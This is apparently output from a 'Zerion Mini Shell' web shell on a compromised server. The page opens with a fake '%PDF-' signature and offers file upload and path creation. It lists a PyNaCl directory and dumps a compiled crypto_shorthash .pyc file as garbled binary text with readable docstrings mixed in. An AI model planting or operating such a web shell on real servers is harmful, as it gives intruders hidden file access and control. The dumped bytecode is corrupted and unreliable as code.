%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/nacl/bindings/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/nacl/bindings/__pycache__/crypto_shorthash.cpython-312.pyc

�

�f+
��"�UddlmZddlmZmZddlmZeej�Z	ej�Zee
d<ej�Zee
d<dZdZe	r"ej$�Zej&�Zdededefd	�Zdededefd
�Zy)�N)�ffi�lib)�ensure�BYTES�KEYBYTES�data�key�returnc�b�t|�tk7r(tjdj	t���tjdt�}tj||t|�|�}t|dk(tj��tj|t�ddS)z�Compute a fast, cryptographic quality, keyed hash of the input data

    :param data:
    :type data: bytes
    :param key: len(key) must be equal to
                :py:data:`.KEYBYTES` (16)
    :type key: bytes
    �#Key length must be exactly {} bytes�unsigned char[]r��raisingN)
�lenr�exc�
ValueError�formatr�newrr�crypto_shorthash_siphash24r�RuntimeError�buffer�rr	�digest�rcs    �@/usr/lib/python3/dist-packages/nacl/bindings/crypto_shorthash.pyrr$s����3�x�8���n�n�1�8�8��B�
�	
��W�W�&��
.�F�	�	'�	'���c�$�i��	E�B�
�2��7�C�,�,�-��:�:�f�e�$�Q�'�'�c��ttdtj��t	|�t
k7r(tjdjt
���tjdt�}tj||t	|�|�}t|dk(tj��tj|t�ddS)aCCompute a fast, cryptographic quality, keyed hash of the input data

    :param data:
    :type data: bytes
    :param key: len(key) must be equal to
                :py:data:`.XKEYBYTES` (16)
    :type key: bytes
    :raises nacl.exceptions.UnavailableError: If called when using a
        minimal build of libsodium.
    zNot available in minimal buildrrr
rN)r�has_crypto_shorthash_siphashx24r�UnavailableErrorr�	XKEYBYTESrrrr�XBYTESr�crypto_shorthash_siphashx24rrrs    rr"r"8s����'�(��$�$���3�x�9���n�n�1�8�8��C�
�	
��W�W�&��
/�F�	�	(�	(���s�4�y�#�	F�B�
�2��7�C�,�,�-��:�:�f�f�%�a�(�(r)�nacl.exceptions�
exceptionsr�nacl._sodiumrrr�bool�&PYNACL_HAS_CRYPTO_SHORTHASH_SIPHASHX24r� crypto_shorthash_siphash24_bytesr�int�__annotations__�#crypto_shorthash_siphash24_keybytesrr!r �!crypto_shorthash_siphashx24_bytes�$crypto_shorthash_siphashx24_keybytes�bytesrr"�rr�<module>r0s��� �!�"�#'��.�.�#��2�S�
1�
1�
3��s�3�7��7�7�9��#�9�	
��
�	�"�
2�S�
2�
2�
4�F�8��8�8�:�I�(�U�(��(�5�(�()�e�)�%�)�E�)r

Zerion Mini Shell 1.0